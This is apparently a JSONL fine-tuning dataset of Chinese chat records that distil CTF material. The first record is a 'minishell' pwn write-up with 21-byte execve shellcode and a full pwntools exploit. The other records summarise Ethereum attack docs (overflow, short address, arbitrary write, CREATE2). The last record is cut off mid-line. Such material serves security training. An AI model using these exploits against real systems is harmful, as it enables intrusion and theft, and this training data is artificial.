{"category": "misc_pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-f7e1fcfe6f1fd3451842", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `其它/minishell` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`其它/minishell`\n\n## Writeup 蒸馏\n## minishell\n\n> 题目描述：shell？shellcode！\n\n[图片: image-20250513095358674]\n\n运行发现是一个模拟shell的程序，模拟了 ls 命令、whoami 命令、pwn 命令以及cat命令，但是 cat 命令存在问题。\n\n[图片: image-20250513095540323]\n\n我们接下来反编译分析\n\n[图片: image-20250513095650482]\n\n分析 cat 命令函数\n\n这里 mmap 了一块可读可写可执行的堆块然后从标准输入向这个堆块读取数据。之后调用了 sub_139b 函数。\n\n[图片: image-20250513095721324]\n\n这里跳转到 rdi 函数。\n\n[图片: image-20250513095850234]\n\n结合反汇编分析，发现就是执行我们 mmap 分配的空间中的数据。\n\n[图片: image-20250513095923812]\n\n所以很明显这里就是一个写shellcode的题目。接下来动态分析。\n\n动态调试输入`aaa`作为测试数据发现在我们执行 shellcode 的时候除了`rdi`寄存器和`rip`寄存器外的所有寄存器全部被清空。这样我们常规的 shellcode 根本无法使用。所以我们必须手动构造 shellcode。\n\n[图片: image-20250513100300100]\n\n我们需要手动构造 shellcode，使得寄存器满足以下条件。\n\n```\nrax=59 系统调用号\nrdi=/bin/sh的指针\nrsi=0\nrdx=0\n```\n\n之后再执行`syscall`触发中断。\n\n由此我们可以得到以下通用 shellcode。\n\n```assembly\nxor     rax, rax                    ; rax = 0\nmov     rbx, 0x68732f2f6e69622f     ; \"/bin//sh\"（使用双斜杠避免 NULL 字节）\npush    rbx                         ; 压栈 \"/bin/sh\"\nmov     rdi, rsp                    ; rdi = 指向 \"/bin/sh\"\nxor     rsi, rsi                    ; rsi = NULL（argv）\nxor     rdx, rdx                    ; rdx = NULL（envp）\nmov     al, 59                      ; execve syscall 编号 (59)\nsyscall                             ; 调用 execve(\"/bin/sh\", NULL, NULL)\n```\n\n[图片: image-20250513101204564]\n\n使用 pwntools 编码之后发现为 27 字节。\n\n但是我们`read`读取的内容限制为0x15即21字节。\n\n[图片: image-20250513100647960]\n\n所以我们需要缩短 shellcode，由于我们是将很多寄存器清零了的所以这里就不必执行很多寄存器的清零操作，我们可以将它们省略掉。\n\n```assembly\nmov     rbx, 0x68732f2f6e69622f     ; \"/bin//sh\"（使用双斜杠避免 NULL 字节）\npush    rbx                         ; 压栈 \"/bin/sh\"\nmov     rdi, rsp                    ; rdi = 指向 \"/bin/sh\"\nmov     al, 59                      ; execve syscall 编号 (59)\nsyscall                             ; 调用 execve(\"/bin/sh\", NULL, NULL)\n```\n\n再次编码看看\n\n这次缩短到了 18 字节符合要求，但是这里有一个大问题，就是我们的`/bin/sh`的指针是通过栈传递的即`rsp`寄存器。但是程序将`rsp`寄存器也清零了。\n\n[图片: image-20250513101554963]\n\n没有栈给我们用咋办，但是这里我们发现我们还有一个寄存器可以用，就是`rdi`寄存器。它指向我们 mmap 的那块空间，这里我们思路骚一点将`rdi`指向的空间当成栈来用。就是通过汇编将`rdi`指向的地址复制给`rsp`，然后我们再通过传递栈指针。\n\n由此我们得到以下 shellcode。\n\n```assembly\nlea    rsp,[rdi+0x70]\nmov    rbx,0x68732f2f6e69622f\npush   rbx\npush   rsp\npop    rdi\nmov    al,59\nsyscall\n```\n\n再次编码之后发现为21字节，正好符合要求。\n\n[图片: image-20250513102135230]\n\n接下来就可以构造exp了。\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nru(\"minishell$\")\nsl(\"cat\")\nshellcode = \"\"\"\nlea    rsp,[rdi+0x70]\nmov    rbx,0x68732f2f6e69622f\npush   rbx\npush   rsp\npop    rdi\nmov    al,59\nsyscall\n\"\"\"\nshellcode=asm(shellcode)\nprint(len(shellcode))\n#dbg()\ns(shellcode)\n\nia()\n```\n\n运行，getshell\n\n[图片: image-20250513102257480]\n\n## Exploit 关键代码\n### 其它/minishell/exp.py\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nru(\"minishell$\")\nsl(\"cat\")\nshellcode = \"\"\"\nlea    rsp,[rdi+0x70]\nmov    rbx,0x68732f2f6e69622f\npush   rbx\npush   rsp\npop    rdi\nmov    al,59\nsyscall\n\"\"\"\nshellcode=asm(shellcode)\nprint(len(shellcode))\n#dbg()\ns(shellcode)\n\nia()\n```\n\n### 其它/minishell/minishell.c\n```c\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n\n#define MAX_COMMAND_LENGTH 10\n\nvoid init()\n{\n\tsetbuf(stdin, 0LL);\n  \tsetbuf(stdout, 0LL);\n  \tsetbuf(stderr, 0LL);\n}\n\nvoid check()\n{\n}\n\nvoid exec(void *entry) {\n    asm volatile (\n        \"xor %rax, %rax\\n\\t\"  // rax = 0\n        \"xor %rbx, %rbx\\n\\t\"  // rbx = 0\n        \"xor %rcx, %rcx\\n\\t\"  // rcx = 0\n        \"xor %rdx, %rdx\\n\\t\"  // rdx = 0\n        \"xor %rsi, %rsi\\n\\t\"  // rsi = 0\n        \"xor %r8,  %r8\\n\\t\"   // r8  = 0\n        \"xor %r9,  %r9\\n\\t\"   // r9  = 0\n        \"xor %r10, %r10\\n\\t\"  // r10 = 0\n        \"xor %r11, %r11\\n\\t\"  // r11 = 0\n        \"xor %r12, %r12\\n\\t\"  // r12 = 0\n        \"xor %r13, %r13\\n\\t\"  // r13 = 0\n        \"xor %r14, %r14\\n\\t\"  // r14 = 0\n        \"xor %r15, %r15\\n\\t\"  // r15 = 0\n        \"xor %rsp, %rsp\\n\\t\"  // r15 = 0\n        \"xor %rbp, %rbp\\n\\t\"  // r15 = 0\n        \"jmp *%rdi\\n\\t\"\n    );\n}\n\n\nvoid cat()\n{\n        void *buf;\n        buf=mmap(0x100000000LL,0x1000,7,34,-1,0);\n        read(0,buf,0x15);\n        exec(buf);\n}\n\nvoid ls()\n{\n    DIR *d;\n    struct dirent *dir;\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 24, "ctf_task_type": "ai", "original_id": "pwn101-pair-ddcf33abeb0b3a15", "original_line": 438, "original_split": "train", "record_type": "writeup_exploit_pair", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/minishell", "split": "train", "split_group_key": "1649e00efceec3a9cf957aec"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/minishell", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-036b6b9fadec470a74a2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/storage.md` 中的章节「值类型」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/storage.md`\n标题：Ethereum Storage\n章节：插槽式数组存储 > 值类型\n路径分类：blockchain / blockchain/ethereum/storage.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“值类型”展开。\n- 如以下合约： ``solidity pragma solidity ^0.4.0;\n- 如果可能的话，大小少于 32 字节的多个变量会被打包到一个插槽中，而当某项数据超过 32 字节，则需要占用多个连续插槽（data.length / 32）。\n- 除映射和动态数组之外的所有类型，其数据长度都是已知的，如定长整型(int/uint/...), 地址(address), 定长浮点型(fixed/ufixed/...), 定长字节数组(bytes1-bytes32)，编译时将严格根据字段排序顺序，从位置 0 开始连续放置在存储中。\n- 结构和数组数据总是会占用一整个新插槽（但结构或数组中的各项，都会以这些规则进行打包）。\n- 规则如下： - 存储插槽的第一项会以低位对齐（即右对齐）的方式储存。\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- storage.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 7 行，首行 `pragma solidity ^0.4.0;`\n- plain: 7 行，首行 `-----------------------------------------------------`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 841, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "值类型", "heading_path": ["插槽式数组存储", "值类型"], "original_id": "docs-e6fc27bdf8bdfb19e0f9", "original_line": 153, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "source_root": "docs", "source_sha256": "b6d723b9e69ae4d20f3fed911150ebf8d4d645b2c1b4bd80d4a2f7acd60da3ab", "split": "train", "split_group_key": "62682838f611894e93007d5b", "subcategory": "blockchain/ethereum/storage.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "storage.md", "code:solidity"], "title": "Ethereum Storage"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-0440efb72e7a4eac0063", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/shortaddress.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/shortaddress.md`\n标题：Short Address Attack\n章节：Short Address Attack > 例子\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- ``solidity pragma solidity ^0.4.10;\n- mapping (address => uint256) public balances;\n- modifier OwnerOnly() { require(msg.sender == owner);\n- } function approve(address _to, uint256 _amount) OwnerOnly { balances[_to] += _amount;\n- } function transfer(address _to, uint256 _amount) { require(balances[msg.sender] > _amount);\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- shortaddress.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 13 行，首行 `pragma solidity ^0.4.10;`\n- plain: 3 行，首行 `0xa9059cbb -> bytes4(keccak256(\"transfer(address,uint256)\")) 函数签名`\n- plain: 3 行，首行 `0xa9059cbb -> bytes4(keccak256(\"transfer(address,uint256)\")) 函数签名`\n- plain: 3 行，首行 `0xa9059cbb -> bytes4(keccak256(\"transfer(address,uint256)\")) 函数签名`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1862, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Short Address Attack", "例子"], "original_id": "docs-1ddc025435690a0e3553", "original_line": 10, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/shortaddress.md", "source_root": "docs", "source_sha256": "8bae3d68c35eeaed721e7c639c5be61f24b7dba8d7c54168ca157661b55c5c2a", "split": "train", "split_group_key": "102381bc28d14a6e0b14f2b8", "subcategory": "blockchain/ethereum/attacks", "terms": ["密码学", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "shortaddress.md", "code:solidity"], "title": "Short Address Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/shortaddress.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-08483a30c61c7f095101", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/basics.md` 中的章节「Interact with Contracts」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/basics.md`\n标题：Ethereum Basics\n章节：Ethereum Basics > Interact with Contracts\n路径分类：blockchain / blockchain/ethereum/basics.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Interact with Contracts”展开。\n- - 直接通过 Remix 交互 - Remix 不能够做到自动化，所以便有开发人员做了一些工作 - Python 的 web3.py 库 - Nodejs 的 web3.js 库 - Infura 提供了 RPC API 供开发者调用，现支持 Ethereum、Eth2、Filecoin\n- 使用 Infura 提供的 RPC API，利用 web3.py 或者 web3.js 库与其进行自动化交互\n- |网络 |说明 |URL| |-------------|------------------------|---------------------------------------| |Mainnet |JSON-RPC over HTTPs |https://mainnet.infura.io/v3/YOUR-PROJECT-ID | |Mainnet |JSON-RPC over websockets|wss://mainnet.infura.io/ws/v3/YOUR-PROJECT-ID| |R...\n- !!! note 注：使用时，请务必使用你的Infura仪表盘 中的项目 ID/Project ID 或 Project Secret 来替换以上 URL 中的 YOUR-PROJECT-ID 或 YOUR-PROJECT-SECRET\n- 下面是使用 web3.py 和 Infura API 与智能合约进行交互调用合约函数选择器为 0x00774360 的函数的例子\n\n关键术语：\n- ROP/JOP\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- basics.md\n- code:python\n\n代码/命令片段线索：\n- python: 21 行，首行 `from web3 import Web3, HTTPProvider`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 2674, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "Interact with Contracts", "heading_path": ["Ethereum Basics", "Interact with Contracts"], "original_id": "docs-22baec519d02dec6f143", "original_line": 135, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "source_root": "docs", "source_sha256": "8cd9c1866162f89bb7bc59322754c15c8921826d7c75c478c4c6c3c260007551", "split": "train", "split_group_key": "96ff2c8ead62fcad83a2bf37", "subcategory": "blockchain/ethereum/basics.md", "terms": ["ROP/JOP", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "basics.md", "code:python"], "title": "Ethereum Basics"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-0a2076fb75790347be61", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/storage.md` 中的章节「FailedAttempt」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/storage.md`\n标题：Ethereum Storage\n章节：FailedAttempt\n路径分类：blockchain / blockchain/ethereum/storage.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“FailedAttempt”展开。\n- 而对于映射 failedLogs，需要先通过 keccak256(addr .\n- 可以借助以下代码方便地计算数组和映射对应元素的真正位置： `solidity function read_slot(uint k) public view returns (bytes32 res) { assembly { res := sload(k) } } function cal_addr(uint k, uint p) public pure returns(bytes32 res) { res = keccak256(abi.encodePacked(k, p));\n- 3) 来得到特定地址 addr 对应数组的位置，该位置记录着数组的长度，而数组真正的起始点位于 keccak256(keccak256(addr .\n- } function cal_addr(uint p) public pure returns(bytes32 res) { res = keccak256(abi.encodePacked(p));\n- | idx (32) | ----------------------------------------------------- | time (32) | ----------------------------------------------------- | origin (20) | triedPass (12) | ----------------------------------------------------- `` 对于数组 safeboxes，数组内元素的起始点在 keccak...\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- storage.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `对于数组 `safeboxes`，数组内元素的起始点在 `keccak256(2)` 处，每个元素占据 2 个插槽；而对于映射 `failedLogs`，需要先通过 `keccak256(addr . 3)` 来得到特定地址 `add...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 840, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "FailedAttempt", "heading_path": ["FailedAttempt"], "original_id": "docs-4af332e057c1c1da6d31", "original_line": 159, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "source_root": "docs", "source_sha256": "b6d723b9e69ae4d20f3fed911150ebf8d4d645b2c1b4bd80d4a2f7acd60da3ab", "split": "train", "split_group_key": "2b4fc229400cca720d7563a2", "subcategory": "blockchain/ethereum/storage.md", "terms": ["密码学", "区块链安全", "AI安全", "blockchain", "ethereum", "storage.md"], "title": "Ethereum Storage"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-1789a7b8998f63983f76", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/overflow-underflow.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/overflow-underflow.md`\n标题：Integer Overflow and Underflow\n章节：Integer Overflow and Underflow > 例子\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 整数下溢的另一个例子与重入攻击有关，如将持有数为 1 的物品卖出两次，或者将 1 ether 存款取出两次，导致结果为负数，储存为 uint 则为巨大的正数。\n- 以 Capture The Ether 的 Token sale 为例： ``solidity pragma solidity ^0.4.21;\n- 假设有一个合约实现了如下功能： `solidity contract Bank { mapping(address => uint256) public balanceOf;\n- 例如我们购买 $2 ^ { 256 } // 10 ^ { 18 } + 1$ 个代币，乘上 $10 ^ { 18 }$ 后就发生了溢出，最终花费仅约 0.4 ether 就买到了大量代币。\n- } } ` 在本题中，购买单个代币需要支付 1 ether，即 msg.value == numTokens * PRICE_PER_TOKEN。\n- 如果让这里的 numTokens 大一些，乘积就可能溢出。\n\n关键术语：\n- 边界/溢出\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- overflow-underflow.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 20 行，首行 `pragma solidity ^0.4.21;`\n- solidity: 9 行，首行 `contract Bank {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1522, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Integer Overflow and Underflow", "例子"], "original_id": "docs-581ea6d810ba52a0d554", "original_line": 177, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/overflow-underflow.md", "source_root": "docs", "source_sha256": "c9e4f1feebe4d3828b579f9755a903e783d8706101f5e9268927f62a0b0eaa3b", "split": "train", "split_group_key": "6e15ef0ff2904439d9c89fe8", "subcategory": "blockchain/ethereum/attacks", "terms": ["边界/溢出", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "overflow-underflow.md", "code:solidity"], "title": "Integer Overflow and Underflow"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/overflow-underflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-179039230a095dfd8c13", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/arbitrarywrite.md` 中的章节「Analyse」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/arbitrarywrite.md`\n标题：Arbitrary Writing\n章节：Arbitrary Writing > 例子 > Analyse\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Analyse”展开。\n- 数组 codex 的 slot 为 1 ，同时这也是存储数组 length 的地方，而 codex 的实际内容存储在 keccak256(bytes32(1)) 开始的位置 !\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- arbitrarywrite.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1241, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "Analyse", "heading_path": ["Arbitrary Writing", "例子", "Analyse"], "original_id": "docs-6ae99e41803026d20268", "original_line": 9, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/arbitrarywrite.md", "source_root": "docs", "source_sha256": "4ec6775f16eea2aad06238d91ee6b5a45b3846975e2309dbc7f4e4e0264b3580", "split": "train", "split_group_key": "487edd89cb9d4a6ecf940fdb", "subcategory": "blockchain/ethereum/attacks", "terms": ["密码学", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "arbitrarywrite.md"], "title": "Arbitrary Writing"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/arbitrarywrite.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-1947bded464f6bf8919d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/create2.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/create2.md`\n标题：CREATE2\n章节：CREATE2 > 例子\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- assembly { return (add(bytecode, 0x20), mload(bytecode)) } } } ` 当我们每次利用 deploy(code) 函数来部署预期构造的合约时，由于实际上的 init_code 都是同样的 dumperBytecode，再加上确定的合约地址以及 salt，所以通过 deploy(code) 部署的合约最终会部署在同一个地址上。\n- } `` 利用该合约，我们成功地在同一个地址上先后上部署了两个不同的合约： [图片: 第一次部署;\n- 以 2019 Balsn CTF 的 Creativity 的 WP 提供的 PoC 作为例子，讲解一下 CREATE2 的巧妙使用： ``solidity pragma solidity ^0.5.10;\n- 在知道 Deployer 合约地址是 0x99Ed0b4646a5F4Ee0877B8341E9629e4BF30c281 的情况下，我们可以计算部署合约的地址为 0x4315DBef1aC19251d54b075d29Bcc4E81F1e3C73： `solidity function getAddress(address addr, bytes memory bytecode, uint salt) public view returns (address) { bytes32 hash = keccak...\n- function deploy(bytes memory code) public { deployBytecode = code;\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- create2.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 24 行，首行 `pragma solidity ^0.5.10;`\n- solidity: 12 行，首行 `function getAddress(address addr, bytes memory bytecode, uint salt) public view returns (address) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1936, "chunk_count": 1, "chunk_index": 0, "ctf_score": 25, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["CREATE2", "例子"], "original_id": "docs-5e066cb37561bfea9d03", "original_line": 168, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/create2.md", "source_root": "docs", "source_sha256": "bf2b74e3d23ae3cf1f70f1d7c39cd029f3094d219f8c83c9ebda5d137cec8e08", "split": "train", "split_group_key": "92813311ba5f891c0ba819b0", "subcategory": "blockchain/ethereum/attacks", "terms": ["密码学", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "create2.md", "code:solidity"], "title": "CREATE2"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/create2.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-199a4ab1e94be3dcded2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/delegatecall.md` 中的章节「Delegatecall」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/delegatecall.md`\n标题：Delegatecall\n章节：Delegatecall\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Delegatecall”展开。\n- > There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change...\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- delegatecall.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 271, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "Delegatecall", "heading_path": ["Delegatecall"], "original_id": "docs-96ecdf9472c7d90aa9f0", "original_line": 10, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "source_root": "docs", "source_sha256": "240200ba37fa64de7c46873c26b3b842590cd4baeccb16d874fc410ddbd7beb6", "split": "train", "split_group_key": "4205b8227bf18a3a010e54ee", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", 